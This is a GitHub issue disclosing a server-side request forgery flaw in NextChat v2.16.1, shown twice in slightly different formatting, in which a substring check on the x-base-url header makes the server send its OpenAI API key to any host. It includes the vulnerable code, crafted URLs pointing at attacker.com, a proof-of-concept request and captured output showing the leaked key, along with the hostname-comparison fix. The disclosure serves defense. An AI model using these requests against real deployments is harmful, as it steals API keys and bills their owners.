📦 Deployment Method
Docker
📌 Version
v2.16.1
💻 Operating System
Other
📌 System Version
🌐 Browser
Other
📌 Browser Version
🐛 Bug Description
reported on 2 June 2026 https://github.com/ChatGPTNextWeb/NextChat/security/advisories/GHSA-rfph-4473-623x - no response
Summary
The proxy handler in app/api/proxy.ts uses a substring check (baseUrl?.includes("api.openai.com")) to decide whether to inject the server's configured OPENAI_API_KEY into outbound request headers. Because the check is a plain string containment test rather than URL hostname comparison, an attacker can supply any URL that contains api.openai.com as a query parameter or path component (e.g., http://attacker.com?q=api.openai.com) to cause the server to inject its API key and forward it to the attacker-controlled host. No authentication is required.
Details
app/api/proxy.ts contains the following logic (lines 37-46):
const baseUrl = req.headers.get("x-base-url");
if (baseUrl?.includes("api.openai.com")) {
if (!serverConfig.apiKey) {
return NextResponse.json(
{ error: "OpenAI API key not configured" },
{ status: 500 },
);
}
headers.set("Authorization", `Bearer ${serverConfig.apiKey}`);
}
The intent is to inject the server's OpenAI API key when the request is destined for the real OpenAI API. However, String.prototype.includes() checks for substring occurrence anywhere in the string. As a result, any of the following values for x-base-url satisfy the check while pointing to an attacker-controlled host:
http://attacker.com?q=api.openai.com
http://attacker.com/path/api.openai.com/anything
http://attacker.com#api.openai.com
The proxy handler then makes a server-side request to the attacker-controlled URL with the header Authorization: Bearer <OPENAI_API_KEY>. The attacker receives the server's real API key.
This is compounded by the absence of any authentication check in proxy.ts: neither an access code nor a user-supplied API key is required.
The correct check would compare the parsed hostname of the URL:
const parsedUrl = new URL(baseUrl);
if (parsedUrl.hostname === "api.openai.com") { ... }
CodeQL query js/incomplete-url-substring-sanitization independently flags this code path.
PoC
Prerequisites: a running NextChat instance with OPENAI_API_KEY configured and yidadaa/chatgpt-next-web:latest Docker image. CODE environment variable may be set; it does not affect this route.
Start a listener that logs incoming headers:
# Flask listener (logs full headers in response body)
python3 -m flask run --host=0.0.0.0 --port=9999
Or any HTTP server that returns the received headers in the response body.
Send an unauthenticated request with a crafted x-base-url:
GET /api/anyprov/testpath HTTP/1.1
Host: <nextchat-host>:3000
x-base-url: http://<attacker-host>:9999?q=api.openai.com
The attacker's server receives:
{
"headers": {
"Authorization": "Bearer sk-proj-<ACTUAL_OPENAI_API_KEY>",
"Host": "<attacker-host>:9999",
...
},
"path": "/",
"ssrf": "confirmed"
}
Live validation was performed on commit 89b8f26 (v2.16.1). The configured API key sk-test-dummy-key-for-ssrf-research appeared verbatim in the Authorization header received at the attacker-controlled Flask server.
Impact
An unauthenticated attacker can steal the deployment's OPENAI_API_KEY by sending a single HTTP request with a crafted x-base-url header. With the key they can make arbitrary OpenAI API calls at the deployment owner's expense. Access-code protection does not mitigate this, as proxy.ts performs no authentication.
This affects any NextChat deployment that has OPENAI_API_KEY configured, which is the normal configuration for self-hosted instances.
📷 Recurrence Steps
No response
🚦 Expected Behavior
No response
📝 Additional Information
No response
📦 Deployment Method
Docker
📌 Version
v2.16.1
💻 Operating System
Other
📌 System Version
🌐 Browser
Other
📌 Browser Version
🐛 Bug Description
reported on 2 June 2026 https://github.com/ChatGPTNextWeb/NextChat/security/advisories/GHSA-rfph-4473-623x - no response
Summary
The proxy handler in
app/api/proxy.tsuses a substring check (baseUrl?.includes("api.openai.com")) to decide whether to inject the server's configuredOPENAI_API_KEYinto outbound request headers. Because the check is a plain string containment test rather than URL hostname comparison, an attacker can supply any URL that containsapi.openai.comas a query parameter or path component (e.g.,http://attacker.com?q=api.openai.com) to cause the server to inject its API key and forward it to the attacker-controlled host. No authentication is required.Details
app/api/proxy.tscontains the following logic (lines 37-46):The intent is to inject the server's OpenAI API key when the request is destined for the real OpenAI API. However,
String.prototype.includes()checks for substring occurrence anywhere in the string. As a result, any of the following values forx-base-urlsatisfy the check while pointing to an attacker-controlled host:http://attacker.com?q=api.openai.comhttp://attacker.com/path/api.openai.com/anythinghttp://attacker.com#api.openai.comThe proxy handler then makes a server-side request to the attacker-controlled URL with the header
Authorization: Bearer <OPENAI_API_KEY>. The attacker receives the server's real API key.This is compounded by the absence of any authentication check in
proxy.ts: neither an access code nor a user-supplied API key is required.The correct check would compare the parsed hostname of the URL:
CodeQL query
js/incomplete-url-substring-sanitizationindependently flags this code path.PoC
Prerequisites: a running NextChat instance with
OPENAI_API_KEYconfigured andyidadaa/chatgpt-next-web:latestDocker image.CODEenvironment variable may be set; it does not affect this route.Start a listener that logs incoming headers:
# Flask listener (logs full headers in response body) python3 -m flask run --host=0.0.0.0 --port=9999Or any HTTP server that returns the received headers in the response body.
Send an unauthenticated request with a crafted
x-base-url:The attacker's server receives:
{ "headers": { "Authorization": "Bearer sk-proj-<ACTUAL_OPENAI_API_KEY>", "Host": "<attacker-host>:9999", ... }, "path": "/", "ssrf": "confirmed" }Live validation was performed on commit 89b8f26 (v2.16.1). The configured API key
sk-test-dummy-key-for-ssrf-researchappeared verbatim in theAuthorizationheader received at the attacker-controlled Flask server.Impact
An unauthenticated attacker can steal the deployment's
OPENAI_API_KEYby sending a single HTTP request with a craftedx-base-urlheader. With the key they can make arbitrary OpenAI API calls at the deployment owner's expense. Access-code protection does not mitigate this, asproxy.tsperforms no authentication.This affects any NextChat deployment that has
OPENAI_API_KEYconfigured, which is the normal configuration for self-hosted instances.📷 Recurrence Steps
No response
🚦 Expected Behavior
No response
📝 Additional Information
No response